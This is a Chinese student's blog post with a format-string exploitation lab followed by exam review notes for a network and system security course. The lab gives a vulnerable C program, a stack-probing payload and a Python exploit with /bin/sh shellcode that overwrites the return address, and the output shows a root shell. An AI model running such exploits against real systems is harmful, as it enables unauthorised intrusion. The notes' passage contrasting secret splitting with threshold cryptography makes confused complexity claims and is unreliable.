1234567891011121314151617181920212223242526272829#include <stdio.h>void fmtstr(char *str){ unsigned int *framep; unsigned int *ret; asm("movl %%ebp,%0" : "=r" (framep)); ret = framep +1; printf("the address of the input array: 0x%.8x\n",(unsigned)str); printf("the value of the frame pointer: 0x%.8x\n",(unsigned)framep); printf("the value of the return address: 0x%.8x\n",*ret); printf(str); printf("the value of the return address: 0x%.8x\n",*ret);}int main(int argc,char **argv){ FILE *badfile; char str[200]; badfile = fopen("badfile","rb"); fread(str,sizeof(char),200,badfile); fmtstr(str); return 1;}
编译:gcc -m32 -z execstack -o fmtvul fmtvul.c
echo $(printf “\xaa\xaa\xaa\xaa”).%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x.%.8x > badfile
和书上的不太一样,这里是第22个,不对,是第21个,第一个是”\xaa\xaa\xaa\xaa”这个,不算,所以%.8x是输出了20个后到了aaaaaaaa.
123456root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings/shell# ./fmtvulthe address of the input array: 0xffffd514the value of the frame pointer: 0xffffd4e8the value of the return address: 0x565556fd����.565556fd.00000000.565555f9.5655583c.56555839.ffffd4e8.ffffd4ec.f7fbd000.56556fcc.ffffd5e8.565556fd.ffffd514.00000001.000000c8.56558160.f7ffdc30.00000200.00000400.ffffd694.56558160.aaaaaaaa.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e�the value of the return address: 0x565556fd
返回地址 0xffffd4e8 + 0x4 = 0xffffd4ec
实验中跳转到str数组偏移量0x90的地方, 0xffffd514 +0x90 = 0xffffd5a4
exp
123456789101112131415161718192021222324252627282930import sysshellcode = ( "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00" ).encode('latin-1')N = 200content = bytearray(0x90 for i in range(N))start = N - len(shellcode)content[start:] = shellcodeaddr2 = 0xffffd3deaddr1 = 0xffffd3dccontent[0:4] = (addr1).to_bytes(4,byteorder='little')content[4:8] = ("@@@@").encode('latin-1')content[8:12] = (addr2).to_bytes(4,byteorder='little')small = 0xd484 - 12 -15*8large = 0xffff - 0xd484s = "%.8x"*15 + "%." + str(small) + "x%hn%." + str(large) +"x%hn"fmt = (s).encode('latin-1')content[12:12+len(fmt)] = fmtfile=open("badfile","wb")file.write(content)file.close()
12 ̀the value of the return address: 0xffffd4ecSegmentation fault (core dumped)
地址修改对了,但还是报错了,和libc版本有关系?还是需要去除保护?-fno-stack-protector
the address of the input array: 0xffffd514the value of the frame pointer: 0xffffd4f8
123456root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings/shell# ./fmtvulthe address of the input array: 0xffffd544the value of the frame pointer: 0xffffd528the value of the return address: 0x56555691����.56555691.00000000.565555a9.565557ac.565557a9.ffffd52c.ffffd528.f7fbd000.56556fd0.ffffd618.56555691.ffffd544.00000001.000000c8.56558160.00000000.aaaaaaaa.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838�the value of the return address: 0x56555691
问题出在了这里,在我们这里编译的时候,是第17个位置存储着str数组,和书上不一样,这可能和编译器版本等有关,所以还是要具体问题具体分析,看懂了书里的,然后在实际操作中根据实际情况动态修改一些东西才可以
从root用户切换到ubuntu也会改变一些东西,地址也变了
the address of the input array: 0xffffd3f4 0xffffd3f4 + 0x90 = 0xffffd484the value of the frame pointer: 0xffffd3d8the value of the return address: 0x5655569
修改exp里面对应的地址和%x的个数,然后就可以了
123400000000000000000000000000000000000040404040�������������������������������������������������������������������������1�1۰�̀1�Ph//shh/bin��PS�ᙰ ̀the value of the return address: 0xffffd484# iduid=0(root) gid=500(ubuntu) groups=500(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare)
%n$x 表示格式字符串后的第n个数据
ucas-网络与系统安全-复习
多选单选论述
其中有大部分是其他同学完成的,自己做了一定的整合和修改.
第一次课:新形势安全面临挑战和安全保障能力提升1.1 信息技术的发展趋势对象的特点: 融合、扩张、协作;
1.2 信息安全面临的挑战隐私、身份、电子依赖、信任绑架、信息财富、边界模糊
1.3 信息安全的技术发展趋势保护、检测、可生存、可信赖;
检测又叫全周期…
第二次课:网络与系统安全的需求与目标 即我们要做到什么程度,上一节课是要做什么
2.1 信息安全的基本需求:CIAA机密性Confidentiality;完整性Integrity;可用性Availability;真实性Authenticity;
2.2 信息安全的目标这句是重点:防止威胁利用弱点破坏信息安全特性, 以及 控制风险
控制风险,确定威胁利用弱点实施 破坏发生的概率(识别风险),决定采取何种措施,将风险降低到可以接受的水平。从绝对安全到适度安全;防止威胁利用弱点破坏信息安全特性
信息安全风险的概念?从绝对安全到适度安全;
完成一个组织如何评估、应对、监视信息系统安全风险的策略性规定,包括
详细的安全假定确定;
安全风险控制实施所受的各种可能的限制;
机构对风险的容忍程度;
风险处理过程中的面临的各种这种决策的优先次序;
威胁利用弱点给信息资产造成负面影响的潜在可能
2.3 保护阶段的目标:TCSEC橘皮书和CC标准;2.4 生命周期阶段的保护目标:
入侵检测技术IDS是PDR模型的中的重要支撑技术,IDS主要的功能为:监视、评估信息网络系统中的恶意或者违反安全策略的行为,并产生相应的报警。
PDCA 的概念:
Plan: 对ISMS范围所及进行风险评估和控制方案设计;
Do:对于不可接受风险,实施风险处理计划,比如增加防火墙等安全措施;
Check:分析运行效果,寻求改进机会;
Act: 经过了评审之后,要执行的进一步动作;
2.5 可生存技术:拜占庭容错和门限密码技术技术思路: 消除单点失效
可生存技术的基本原理:信息系统通过特定的设计,变得不是那么脆弱,一碰就倒,一触即溃。信息系统生存技术关注:计算过程的可靠性和错误容忍。
2.6 自重构可信赖保护技术:动态构建、适度安全、随着任务启动生成保护,随任务结束推出(保护的生与死)
第三次课:自主与强制访问控制自己的理解: 设定权限范围,划清界限
保护的核心技术
3.1 访问控制的基本概念框架模型,不是策略模型
应用程序访问计算机资源,根据授权策略( 规则集)决定访问请求是否被允许。
3.2 访问控制的要素?
主体S(Subject):资源访问的具体请求者,又称发起者(Initiator),可能是某一用户,信息系统中更多是用户启动的进程、服务和设备等。
客体O(Object):是指被访问资源的实体,又称目标(Target),所有可以被操作的信息、资源、对象都可以是客体。
控制策略A(Attribution):访问策略体现了主体对客体的授权行为,也是客体对主体某些操作行为的认可。
3.3 访问控制3种基本类型?模型含义是重点,
什么mac dac搞清楚
模型不是来限制你的,而是有它适用范围,给你一个依据来具体设置访问控制模型
自主访问控制DAC(典型案例:UGO) (Discretionary Access Control)强制访问控制MAC(Mandatory Access Control)基于角色的访问控制RBAC它和基于组的访问控制不一样
3.4 访问控制矩阵、访问控制列表、访问控制能力和安全标签的概念?矩阵,列表 都属于dac,都是自主访问控制,和用户密切相关
ibac列表和能力cbac很重要
访问控制矩阵中一行代表一个主体,一列代表一个客体,一个元素表示一个主体被授权的对客体的操作;访问控制矩阵可以直观地表示主体与客体的关系,对于推导和描述访问控制策略具有意义。
访问控制列表(ibac,identify based access control基于身份的)是目标对象的属性表,它给定每个用户对给定目标的访问权限,本质上是访问控制矩阵的一个列。
访问控制能力(cbac 基于能力的)是发起者拥有的一个有效标签(Ticket),它授权持有者以特定的方式访问特定的目标。
安全标签通常的用途是支持多级访问控制策略在访问控制中, 一个安全标签隶属于一个用户、一个目标、一个访问请求或传输中的一个访问控制信息。标签的产生和附着个过程必须可信,在处理一个访问请求时,目标环境比较请求上的标签和目标上的标签决定是允许还是拒绝访问。
3.5 自主访问控制和强制访问控制;理解核心.角色是什么什么的
自主访问控制:DAC允许合法用户以用户或用户组的身份访问策略规定的客体,同时阻止非授权用户访问客体。
强制访问控制:MAC实现比DAC更为严格的访问控制策略, MAC是一种多级访问控制策略,用户和客体具有不同的安全级别,用户不能改变自身和客体的安全级别,只有管理员才能够确定用户和组的访问权限,系统对访问主体和受控对象, 按照安全级对应规则实行强制访问控制。
3.6 BLP、BIBA模型(多级安全强制访问控制策略)Bell-Lapadula(BLP)模型 关注机密性客体被分成安全级别依次降低的:绝密、机密、秘密和公开等级别
主体也被制定不同的安全级别
BLP模型确保: 机密信息不会从高安全级别流向低安全级别
BLP模型由政府资助的Mitre 公司正式提出,BLP模型关注多级安全中的机密性保护,客体被分成安全级别依次降低的:绝密、机密、秘密和公开等级别,主体也被制定不同的安全级别,BLP模型确保机密信息不会从高安全级别流向低安全级别。BLP模型中一个系统的状态可以用三元组{b,M,f}标示; 如果主体访问客体的操作与系统确定的安全规则一致,则系统的状态是安全的。 BLP模型定义了系统的安全规则。
BIBA模型 关注完整性BLP安全模型仅关注信息的机密性,Biba安全模型关注多级安全系统中的信息完整性保护。Biba模型由一组强制访问控制策略和一组自主访问控制策略组成。在操作系统里,为确保内核完整性,从Biba模型的角度,内核可以调用应用程序,反之将是违反Biba模型安全规则的操作。
3.7 Linux的UGO访问控制原理 本质上属于 基于访问控制列表的机制
在每个文件上附加一段有关访问控制信息的二进制位,这些二进制位反映了不同类别用户对该文件的存取方式,即文件的拥有者(User, Owner)、文件拥有者同组的用户(Group)和其他用户(Other),所以我们称这个方式为UGO自主访问控制。UGO属于基于访问控制列表的机制,基于访问控制列表的机制需要依赖于对用户的鉴别。
sudosudo岂不是万能的?和root一样吗?
不是的,可以限制使用的
123#includedir /etc/sudoers.dlighthouse ALL=(ALL) NOPASSWD: ALLubuntu ALL=(ALL:ALL) NOPASSWD: ALL
第四次课:基于属性的访问控制ABAC4.1 SELinux:基于类型的访问控制,安全上下文;SELinux基本概念通过类型强制(TE)访问控制提供了更为灵活、实用MAC机制。在SELInux中,所有访问必须明确授权,通过使用allow规则授予访问权限。Allow规则有四部分组成:
源类型:尝试进行访问控制的域类型。
目标类型:被进程访问的客体类型。
客体类别:允许访问的客体的种类名称。
许可:目标类型允许源类型访问的种类。
安全上下文所有操作系统访问控制都是以关联的客体和主体的访问控制属性为基础;访问控制属性叫做安全上下文。一个安全上下文的组成格式如下:{用户;角色;类型}。
4.2 基于属性的访问控制(ABAC):基本概念,主要元素,基本架构,传统访问控制模型与ABAC的联系;基于属性的策略。ABAC基本概念ABAC定义了主题的属性和客体的属性以及访问发生时候的条件,ABAC将这些属性信息和条件信息与规则的信息对比进行访问控制决策。ABAC的控制规则由属性和条件信息组成。ABAC中每一个客体都必须至少有一个策略规则决定什么样的主体能够对其进行什么样的操作。
元素
属性:刻画主体、客体和条件特性的“键值对”。
主体:意图执行访问操作的自然人或非人设备。
客体:ABAC保护下的系统资源例如: 设备、文件、进程、网络服务等。
操作:主体对客体的操作,包括: 读、写、编辑、删除、拷贝、执行等。
政策:一组规则或者关系,用于确定一个访问请求是否被允许或者拒绝。
环境上下文:可以检测到的环境上下文特征,如:访问发生时的时间、地点和威胁水平等。
架构/过程
Access Control Mechanism(ACM)收到主体的访问控制请求;
根据Policy检查主体属性、客体属性以及环境条件;
决定主体对客体的操作是否允许。
传统访问控制与ABAC联系基于身份的访问控制和RBAC可以看作是 ABAC的一个特例,角色也可以看作是一个属性,从而将角色的访问控制策略转换成属性规则。
基于属性的策略ABAC属性管理主要完成属性的命名、定义、取值范围确定以及与主体和客体绑定等。主体属性一般由属性管理机构提供,如果不同机构的主体存在访问需求,需要在不同机构之间建立属性映射机制。
第五次课:网络边界与防护ipsec可以支持ip层所有流量的加密和/或鉴别,因此可以增强所有分布式应用的安全性
5.1 IPSEC协议的两个基本协议:
鉴别头协议 AH :AH协议提供数据源认证、数据完整性校验和报文防重放功能, 但不提供机密性。
数据源身份验证:计算验证码时加入一个共享密钥(HMAC)
完整性验证:通过杂凑函数产生的校验值
AH报头中的序列号防止重放攻击
有效载荷封装协议ESP:提供了除了AH认证头协议的所有功能外,还可以对IP报文净荷进行加密。
IPSec通过AH和ESP这两个安全协议来实现IP数据报的安全传输。AH和ESP可以单独使用,也可同时使用。AH和ESP同时使用时,报文在IPSec安全转换时,先进行ESP封装,再进行AH封装;IPSec解封装时,先进行AH解封装,再进行ESP解封装。
5.2 IPSEC 的两个工作模式:
传输模式:在传输模式下,AH或ESP被插入到IP头之后但在传输层协议之前。
隧道模式:在隧道模式下,AH或ESP在原始IP头前,另外生成一个新的IP 头放到AH或ESP之前。
5.3 TLS协议握手过程、中间人攻击;四个阶段,握手是干什么的,怎么完成身份鉴别,密钥协商,安全的通道
握手过程http://www.ruanyifeng.com/blog/2014/02/ssl_tls.html
中间人攻击
能够通过ARP 欺骗、DNS 欺骗或者浏览器数据重定向等欺骗技术, 使得SSL客户端C和服务器端S的数据都流向SSL MITM攻击机M。
SSL客户端用户在接收到SSL MITM攻击机伪造的数字证书后, 被骗取对该证书的信任, 并继续SSL连接。
SSL服务器未要求进行SSL客户端身份鉴别。
5.4 VPN基本原理VPN虚拟专用网络,是依靠ISP和其他的NSP,在公共网络中建立专用的数据通信的网络技术,可以为企业之间或者个人与企业之间提供安全的数据传输隧道服务。
在VPN中任意两点之间的链接并没有传统专网所需的端到端的物理链路,而是利用公共网络资源动态组成的,可以理解为通过私有的隧道技术在公共数据网络上模拟出来的和专网有同样功能的点到点的专线技术。
VPN涉及的安全技术:加解密技术、身份鉴别技术、密钥管理技术
VPN技术在TLS和IPSEC层面实现IPSEC过程:1、主机或网关B向远程主机或网关A发送VPN建立请求;2、A产生一个随机数,并将其发送给B;3、B使用这个随机数加密预先通过IKE分享的密钥,将结果发送给A;4、A也使用该随机数将B发来的结果解密,与预先分享的密钥比较,如果匹配,则使用这个密钥加密公钥,发送给B;5、B使用该公钥来建立它与A之间的IPSec SA,VPN隧道建立。
5.5 防火墙基本原理 了解几种防火墙的基本原理和特性
防火墙是位于两个(或多个)网络间, 实施网间访问控制的一组组件的集合, 内部和外部之间的所有网络数据流必须经过防火墙,只有符合安全政策的数据流才能通过防火墙。防火墙利用包过滤技术、状态检测技术、应用级网关技术、代理服务器技术等来挡住未经授权的访问流量,禁止具有脆弱性的服务带来危害。防火墙实施保护, 以避免各种IP欺骗和路由攻击。
第六次课:网络权限管理PMI(Privilege Management Infrastructure,权限管理基础设施)中SOA、AA等实体的作用在PMI里资源拥有者称为SOA (Source of Authority), 被授权的实体称为Privilege Holder。Privilege holder还可以将他的权限进一步的委托,此时的Privilege holder就变成 了AA(Attribute Authority ),需要注意,在这个过程中,权限授予是有层次级别的:SOA -> PH(AA)。这个过程不能反转。
基于属性的访问控制与PMI的关系PMI的属性证书AC绑定了实体身份信息和实体权限。属性证书由属性中心AA以数字签名的方式签发,给出了实体的权限属性。实体向AA申请一个权限,申请通过后,属性中心AA只将AC发送给实体本身,公开存储或交由验证者验证,这个过程并不需要实体本身知晓或参与。
PKI的基本概念,包括数字证书的生命周期、CRL、OCSP
数字证书的生命周期:数字证书的全生命周期包括证书的申请、签发、获取、验证和撤销。
某个用户想要生成一对密钥就会向CA申请一个公钥的数字证书,CA通过签发证书的方式向全世界发布申请人的公钥信息。该证书以各种方式公开(HTTP/FTP/LDAP/Email等),所有取得该公钥数字证书的用户会鉴别数据源、数据完整性,同时CA还需要有非否认性。CA办法的数字证书具有有效期,过期后,该证书无效,此时不能再使用该公钥,CA需要撤销该证书。
数字证书无效以后,CA要撤销该证书,此时PKI会维护一个证书撤销列表CRL,证书撤销列表也要CA进行数字签名,以实现数据完整性、数据源鉴别、非否认。CRL中保存着被撤销的证书序列号。
在线证书状态协议OCSP是另一种形式的证书撤销信息,其形式是“请求-应答”,即请求某个序列号的证书当前状态如何?应答则分为“未撤销、撤销、未知”状态,应答消息需要服务器的数字签名。
为什么会有PKI(Public Key Infrastructure)安全通信的前提:双方能够共享一个对称密钥用作会话密钥
会话密钥通常由公钥密码协商得到,如Diffie-Hellman密钥交换
但是如何安全地知道对方的密钥呢?? 建立具有公信力的可信第三方!
PKI的基本概念
CRL 证书撤销列表
OCSP 证书撤销方式
第七次课:系统权限管理移动终端系统与传统PC权限管理需求的区别。什么什么hold???
传统PC强调“作为一个完整系统独立提供服务”的能力,传统PC系统安全设计为:一个用户登录后,针对该系统用户进行系统资源的访问控制。移动应用高度依赖网络,每一个应用背后是一个相对独立的网络应用系统,每一个应用有自己相对独立的安全边界。移动终端系统用户个人属性相对明显,很少有多人共享一个终端设备,用户区分标识(UID)不再是移动终端系统进行资源访问控制的合适依据。
APP作为系统资源访问控制的基本单位,不同APP之间需要能够进行有效隔离,系统对不同用户的区分不再明显。
Android Permission机制与Linux UGO访问控制的区别与联系。什么curi ablitiy?
Android APP在其进程建立过程中形成实际的APP Permission授权,Linux UGO和ACL在文件系统加载时形成文件的权限属性。Android Permission机制本质上是代码签名机制后,对APP权限的进一步访问控制。UGO机制设置不同组的访问权限,通过让用户进程加入到不同的组,实现其访问控制。
Android Permission机制实现的基本组件和流程。
APP Permission的申请与生成:每个APP拥有 Permission授权的能力,基于能力的访问控制机制适用于需要区分用户较多的环境,Android系统里每一个APP就是一个用户。基于能力的访问控制机制,访问权限的撤销较为困难,因为访问许可授权分散在每一个APP中。
APP Permission授权的形成:Android APP在其进程建立过程中形成实际的APP Permission授权,在APP运行加载时,从静态存储被加载到APP的进程空间。
APP Permission权限检查:当APP访问系统资源时,Android系统会检查APP的权限信息。APP通过系统提供的API调用系统资源,API由System Server和Media等几个关键的进程提供。System Server提供PermCheck功能,PermCheck对比资源要求的Permission许可和 APP存储在mExtras中的许可,进行访问控制决策。
第八次课:入侵检测基本原理8.1 PDR模型的时间关系以时间为度量指标,量化描述系统攻击和防御的对抗,著名的安全条件如下: Pt > Dt + Rt
8.2 入侵检测(IDS)的技术起源,安全审计技术起源
安全审计计算机网络安全审计(Audit)是指按照一定的安全策略,利用记录、系统活动和用户活动等信息,检查、审查和检验操作事件的环境及活动,从而发现系统漏洞、入侵行为或改善系统性能的过程。
也是审查评估系统安全风险并采取相应措施的一个过程。在不至于混淆情况下,简称为安全审计,实际是记录与审查用户操作计算机及网络系统活动的过程,是提高系统安全性的重要举措。系统活动包括操作系统活动和应用程序进程的活动。
8.3 异常入侵检测和误用入侵检测的区别和联系误用入侵检测系统误用入侵检测的前提是入侵行为和正常行为是可区分的。建立一个异常行为的模式库
异常入侵检测这个是记录正常的行为,不在这个范围内的被判定为异常
异常入侵检测记录用户的的日常操作,一般而言,误用检测的新特征发现过程与使用已有特征进行检测的过程相互独立。
区别和联系异常IDS检测/误用IDS检测,都有更新“特征/模式库”的行为。一般而言,误用检测的新特征发现过程与使用已有特征进行检测的过程相互独立;异常检测的模式库更新,通常是在IDS的运行中完成,即边运行,边更新。
思考题
第九次课:9.1 入侵相应的目标对危及安全的事件、行为、过程及时做出响应处理,杜绝危害蔓延,降低安全影响。
核心是业务连续性, 要保证这个,让攻击的范围减小,危害最小
9.2 入侵追踪的基本技术溯源
阻断攻击
与防火墙或网关联动,阻断攻击者的TCP连接(TCP RESET)、阻断攻击者的数据包(ICMP 报文控制);
联络攻击者所在区域的管理员;
向攻击者发起反击:网络流量的压制性反击、基于安全漏洞利用的反击、基于APT方式的反击。
收集攻击信息检测到入侵后,把攻击者引导到经过特殊装 备的诱骗服务器上,记录攻击者的行为,从而获得攻击者的详细信息,作为进一步采取法律措施的证据。主要包括:Honey Pot(蜜罐)、Decoy(诱骗系统)、Fishbowl(鱼饵)等技术。
入侵追踪入侵追踪是一种分布式的、需要多节点协作的体系;入侵追踪应该建立在网络资源相互信任的基础上,应该具有抵抗攻击的健壮性,入侵追踪必须是高效的、准确的,统能够以最小的代价提供快速响应机制。
基于主机的追踪体系:每一个主机节点利用信息隐藏技术在数据包中留下不易察觉的标记、都留下日志,追踪系统中的每一个节点都必须是信任的。
针对TCP连接链的追踪:对于中间经过了多次跳板的TCP攻击连接,一般通过全网部署多个监控节点,监控TCP流。
网络追踪技术:
Input Debugging:发生攻击后IDS发现攻击数据包,人工联系前面的各个路由器。
Controlled Flooding:逐一地向前面的各个路由器发送数据、淹没路由器的缓冲区,看看攻击流量是否减少。
ICMP追踪:利用路由器配合确定数据包转发经过的路由器。
PPM技术:每一个数据包每经过一个路由器,路由器就把自己的IP地址附加上去。
基于日志 的追踪:由路由器计算并保存每个数据包的Hash摘要。入侵追踪时,通过检查数据包的Hash摘要,与路由器保存的结果进行比较,逐步查询出整个攻击路径所经过的路由器。
9.3 APT 攻击对入侵检测与响应的影响Advanced Persistent Threat
APT是由商业或者政治目的,针对特定目标的攻击。隐蔽性和持续性是攻击的主要特点,APT攻击采用尽可能正常的网络行为,通过长期有耐心的积累实施攻击。APT攻击的监测超出了“误用”和“异常”IDS的能力范围,使得入侵检测和响应变得更加困难。
思考题
第十次课:数据备份与灾难恢复PDRR模型,加入了一个R, restore/recovery,核心也是 业务连续性
R代表Restore –即一旦系统遭到破坏,将采取一系列的措施如备份文件恢复、系统重置等功能,恢复系统服务。
10.1 应急计划的概念一个组织具备承受各种灾难,并在灾难引起环境变化中,保持主要任务顺利运行的能力
10.2 业务连续性计划的概念,以及业务连续性计划与应急计划的区别和联系在应急计划的基础上,通过制定业务连续性计划Business Continuity Plan (BCP)实现在故障或灾难中业务的恢复和保持。
国际通行的做法是通过制定应急计划和业务连续性计划,确保系统在遭受灾难时,确保主要业务的正常运行.连续性计划和应急计划是应急管理的重要组成部分。连续性计划适用于组织业务自身;应急计划适用于支撑业务运行的信息系统。连续性计划是目标,应急计划是支撑。
10.3 容灾备份系统的度量指标: RPO, RTO, NRO 和 DOO以恢复点为目标RPO(Recovery Point Object);
以恢复时间为目标RTO(Recovery Time Object) ;
以网络恢复为目标NRO(Network Recovery Object) ;
以服务支持能力保证为目标DOO (Serviceability Degrade Object) (降级运作目标)
10.4 数据备份策略的区别和联系:完全备份、增量备份和差量备份完全备份:对系统进行完全备份,优点是直观,缺点是数据重复量大,成本高,效率低
增量备份:只备份上一次备份后数据的改变量,优点数据重复量少,节约空间,缩短时间,缺点,可靠性差,各个备份环环相连,任何一环出问题,都会影响整个备份链
差量备份:差量备份的数据是上一次全备份之后新增加和修改过的数据,例如每周周一全备份,之后差量备份,兼具前两者的优点
思考题
第十一次课:拜占庭容错系统11.1 n=4,m=1,口头消息的拜占庭消息协商过程;https://blog.csdn.net/xuyuzhuang1991/article/details/79638051
11.2 masking BQS的容错条件,及其一致性过程分析 假设:
在BQS中,由于无法区分信道/服务器失效,同一归结到服务器失效
Reliable but Asynchronous(异步):保证可以传输到达,但不对传输时间做保证
服务器数量:n
法定人数,quorum数量,即至少正常的数量:q
失效的server数量:f
可用性Availability
任何情况下,总是会有Quorum来配合Client操作,因此n-f >= q
一致性Consistency
读出的结果,是最近一次写入的结果,最差情况下,读出的结果为q-(n-q)
其中至少有2f+1台正确服务器(正确的服务器比失效的多),因此2q-n>=2f+1
n至少是4f+1,q至少是3f+1,n为所有服务器数量,q为Quorum(写入和读出的q一致),f为失效服务器的数量
让你设计一个容错的系统???针对口头消息,描述n=7, m=2的BGP协议过程
第十二次课: 门限密码学12.1 密码拆分与门限密码的区别和联系秘密分享和门限密码不一样
门限密码强调计算过程的拆分,秘密不会完整的出现在内存空间
秘密分享会合成出来
都有可生存特性, 门限密码保护密钥,
一个实体发起或执行的密码操作,分散到多个实体组成的一个群体来执行。基础是秘密分享机制,对共享秘密进行重构时,大于等于门限值个数的实体合作恢复出秘密,对于操作(如签名或加密),可以在不出现共享秘密的情况下合作完成最终结果的生成。
密码拆分和门限密码都是用于将一个密码分成多个分片,以便达到更高的安全性。但是,它们之间有一些区别:
原理不同:密码拆分是通过将密码表示成多项式的形式,然后求值在若干个点上,得到若干个值,这些值就是密码的分片。而门限密码是通过对密码进行线性运算得到的。
运算复杂度不同:密码拆分的运算复杂度为 O(n^2),其中 n 是求值点的数量。而门限密码的运算复杂度为 O(n)。
恢复密码所需的贡献者数量不同:密码拆分需要至少 n 个贡献者恢复密码,其中 n 是求值点的数量。而门限密码可以在 t 个贡献者中的任意 t 个贡献者恢复密码。
密码拆分和门限密码都是用于提高密码的安全性的方法,但是它们的原理、运算复杂度和恢复密码所需的贡献者数量都不同。
12.2 拉格朗日差值秘密拆分方案利用多项式曲线的秘密分享
12.3 RSA门限密码实施过程加法的什么什么.. 乘法的就算了
比如给你来计算怎么拆分
12.4 使用proactive recovery对抗 mobile adversary的基本原理丢失了份额怎么快速地让影响消失
第十三次课: 自重构可信赖与终端安全13.1 美国提出的改变博弈(游戏)规则安全技术包括哪些?四个安全技术,背景、内核、目标是什么?
13.2 自重构可信赖与其它安全技术相比最大的安全特征是什么,其带来的安全优势又是什么?
13.3 移动终端TEE技术的5个基本安全特征及其含义。可信执行环境TEE
第十四次课:可信计算可信计算的基本功能:公钥认证、完整性度量、证明;CRTM和DRTM的概念及区别;DRTM旨在实现信任根的随时随地启动,以及可信启动过程的可重复
TCG软件栈TSS的基本架构和作用;可信支撑软件是操作系统层面安全应用可以调用可信计算平台提供的可信服务接口,从而为用户提供可信服务。TSS(TCG Software Stack)是可信计算平台上TPM的支撑软件。 TSS 的作用主要是为操作系统和应用软件提供使用TPM的接口。目前,TSS主要有TSS 1.2和TSS 2.0两个版本。其中基于TPM 2.0的TSS 2.0是最新的版本。
BIOS如何与TPM模块交互
完整性度量的应用,比如区块链区块头的完整性保护原理等。tpm(可信平台模块):是专门为进行加密计算而创建的硬件。它与处理系统的其余部分在物理上隔离,并且通常是主板上的一个独立 IC。
tcg :TCG(Trusted Computing Grounp)架构-即从平台无关角度全局上阐述了可信平台模块TPM(Trusted Platform Module)的架构,功能,主要模块,工作原理,密钥管理方式等。
tee:是芯片组上的一个区域,其工作方式类似于 TPM,但并未与芯片的其余部分物理隔离。
十五次课15.1 信息安全测评体系结构;
CMVP最底层: 密码模块的验证体系, 符合FIPS认证体系标准(通过这个标准来检测是否符合标准)
在这基础上做一些安全功能: 基于密码模块的协议级功能 protocols
执行安全功能的产品,比如什么浏览器,防火墙什么的,按照CC标准来做 安全产品
800-37 53 系统级安全,类似于我国的等保
再通过C&A 认证和认可来保证整个IT的安全
15.2 密码技术在信息安全和测评体系结构中的作用;15.3 FIPS 密码模块测评的基本概念,密码模块的 4 个级别、 5 个类别等FIPS 140分为两部分:CAVP和CMVP。其中CAVP为 有FIPS-approved或NIST-recommended的密码算法以 及它们的组件进行验证,且算法通过CAVP验证是整个模块通过CMVP的前置条件。CMVP按照FIPS140标准进行模块检测。
5种类型,也称密码模块形态:· 硬件密码模块:密码边界规定为硬件边线。在硬件边界内可以包含固件和/或 软件,其中还可以包括操作系统。
· 软件密码模块:密码边界为执行在可修改的运行环境中的纯软件部件(可以是 一个或多个软件部件)和数据组件。软件密码模块的运行环境所包含的计算 平台和操作系统,在定义的密码边界之外。
· 固件密码模块:密码边界为执行在受限的或不可修改的运行环境中的纯固件 部件划定界线。固件密码模块的运行环境所包含的计算平台和操作系统,在定义的密码边界之外,但是与固件模块明确绑定。受限运行环境指允许受控更 改的软件或者固件模块,如 Java 卡中的Java 虚拟机
· 混合软件模块:密码边界为软件部件和不相交的硬件部件(即软件部件不在 硬件模块边界中)的集合划定界线。软件运行的环境所包含的计算平台和操作 系统,在定义的混合软件模块边界之外。
· 混合固件模块:密码边界为固件部件和不相交的硬件部件(即固件部件不在 硬件模块边界中)的合成划定界线。固件运行的环境所包含的计算平台和操作系统,在定义的混合固件模块边界之外,但是与混合固件模块明确绑定。
4个级别(硬件4级,软件直观上只有2级):· 1级:普通的密码产品+自测试
· 2级:1级的产品+防拆测封条+(明确的角色鉴别)
· 3级:2级的产品+拆除响应+EFP/EFT+可信信道+非入侵式 安全
· 4级:3级的产品+响应封套
测试针对每一个域的安全要求进行,最后针对各个域的评级中获得的最低评级作为整体评级,要求如下:
1.在每一个域中独立地评级
2.反映了模块能满足那个域中所有要求的最大级别
3.除“运行环境”(不适用于硬件密码模块)、“ 物理安全”(不适用于软件密码模块)、“其他 攻击的缓解”等3个安全域外,其它的安全域都 是必选检测项目
4.不能只选部分安全域做检测。
5.如果一个域没有提供不同安全级别的要求,则评 级与模块整体安全级别相当
最后针对各个域的评级中获得的最低评级作为整体评级。
15.4 CC 检测的基本概念, 包括 SFR、 SAR、 EAL 等; ST 和 PP 的区别和联系,CC是通用评估准则,是描述产品信息安全要求的通用结构和语言,含有标准化的信息安全要求组件和报的目录。CC用于开发保护轮廓(PP)和安全目标(ST),即特定产品的信息安全要求和规范,针对已知的信息安全要求评估产品和系统。
其中安全功能要求(SFR)用于定义安全信息产品的安全功能,描述信息系产品提供的安全服务的要求。
安全保障要求(SAR)用于确保信息产品的安全功能可以被有保障地实施。
EAL是评估保证级,随着等级提升,安全保障的要求从少到多、由松到紧递增,每个评估保障级都是将安全保障要求的细节按一定方式搭配并固定下来。
ST是 对某个特定的评估目标TOE提出的要其 满足的安全功能要求(Security Functional Requirements)和安全保障要求(Security Assurance Requirements)。
保护轮廓PP是对某一类产品提出的安全功能和安全保 障要求。
ST相当于产品实现方案,与实现相关,作者可能是信息安全产品厂商、开发者或者集成商。PP相当于产品标准,与实现无关(多个具体实现可能满足同一个PP要求),描述用户对这类产品的安全要求,作者可能是信息产品的用户或厂商。
历史考题(根据学长学姐回忆)状态检测防火墙的原理通过对连接的跟踪功能,实现对数据包状态监测,从而进行过滤,
包过滤防火墙:只检查报头
状态检测防火墙:检查报头+建立连接状态表
应用级网关防火墙:检查报头 + 检查数据
代理服务器型防火墙:
异常检测和误用检测的区别异常检测是建立用户正常的一个行为模式库,不在这里面的判定为异常的行为
误用检测是…
误用检测 的新特征的发现过程和它的运行(使用已有特征进行检测)是相互独立的,
而异常检测的模式库更新通常是在IDS中完成,即一边运行,一边更新
